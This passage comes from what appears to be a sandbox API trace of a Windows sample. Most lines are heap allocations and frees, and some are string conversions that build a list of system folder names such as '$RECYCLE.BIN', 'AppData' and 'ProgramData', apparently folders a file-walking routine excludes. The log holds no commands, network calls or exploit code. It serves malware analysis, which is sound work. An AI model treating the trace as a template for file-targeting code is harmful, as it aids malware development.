BaseAddress=0x119c310) returned 1 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2e0 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2f0 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d300 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2c8 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d310 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119bc90 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d320 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f0 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c238 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d350 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c670) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d0) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c6b8) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2c0) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c700) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2b0) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c748) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2a0) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c790) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d290) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c7d8) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d270) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c820) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d280) returned 1 [0251.054] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x995058) returned 1 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x995058 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d280 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c820 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d270 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c7d8 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d290 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c790 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2a0 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c748 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2b0 [0251.054] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c700 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c0 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c6b8 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d0 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c670 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2e0) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2f0) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2c8) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d300) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d310) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f0) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d320) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c238) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d360) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c280) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d350) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc90) returned 1 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119bc90 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d350 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c238 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d320 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f0 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d310 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d300 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2c8 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2f0 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2e0 [0251.055] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c820) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d280) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c7d8) returned 1 [0251.055] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d270) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c790) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d290) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c748) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2a0) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c700) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2b0) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c6b8) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2c0) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c670) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d0) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x995058) returned 1 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x992850) returned 1 [0251.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c280, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119db68 [0251.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c280, cbMultiByte=25, lpWideCharStr=0x119db68, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dbf0 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119db68) returned 1 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d0 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119db68 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dbf0) returned 1 [0251.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c238, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dbf0 [0251.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c238, cbMultiByte=12, lpWideCharStr=0x119dbf0, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dc78 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dbf0) returned 1 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c0 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dbf0 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dc78) returned 1 [0251.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1f0, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dc78 [0251.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1f0, cbMultiByte=8, lpWideCharStr=0x119dc78, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dd00 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dc78) returned 1 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2b0 [0251.056] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dc78 [0251.056] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dd00) returned 1 [0251.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1a8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dd00 [0251.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1a8, cbMultiByte=6, lpWideCharStr=0x119dd00, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dd88 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dd00) returned 1 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2a0 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dd00 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dd88) returned 1 [0251.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c2c8, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dd88 [0251.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c2c8, cbMultiByte=11, lpWideCharStr=0x119dd88, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119de10 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dd88) returned 1 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119dd88 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d290 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119de98 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119de10) returned 1 [0251.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c160, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119ddb0 [0251.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c160, cbMultiByte=7, lpWideCharStr=0x119ddb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119df20 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ddb0) returned 1 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d270 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dfc0 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119df20) returned 1 [0251.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c310, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e048 [0251.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c310, cbMultiByte=11, lpWideCharStr=0x119e048, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e0d0 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e048) returned 1 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d280 [0251.057] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e048 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e0d0) returned 1 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c280) returned 1 [0251.057] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d350) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c238) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d360) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f0) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d320) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d310) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2c8) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d300) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2f0) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2e0) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc90) returned 1 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x992850 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2e0 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2e0) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x992850) returned 1 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x992850 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2e0 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0251.058] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.058] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2f0 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2c8 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d300 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d310 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d6a0 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d320 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f0 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c238 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d350 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d370 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c670 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2e0) returned 1 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2c8) returned 1 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2f0) returned 1 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d300) returned 1 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d310) returned 1 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.059] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d310 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.059] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d300 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2f0 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2c8 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2e0 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f0) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d320) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c238) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d360) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c280) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d350) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c670) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d370) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d6a0) returned 1 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d6a0 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d370 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c670 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d350 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c238 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d320 [0251.060] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f0 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d310) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0251.060] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, 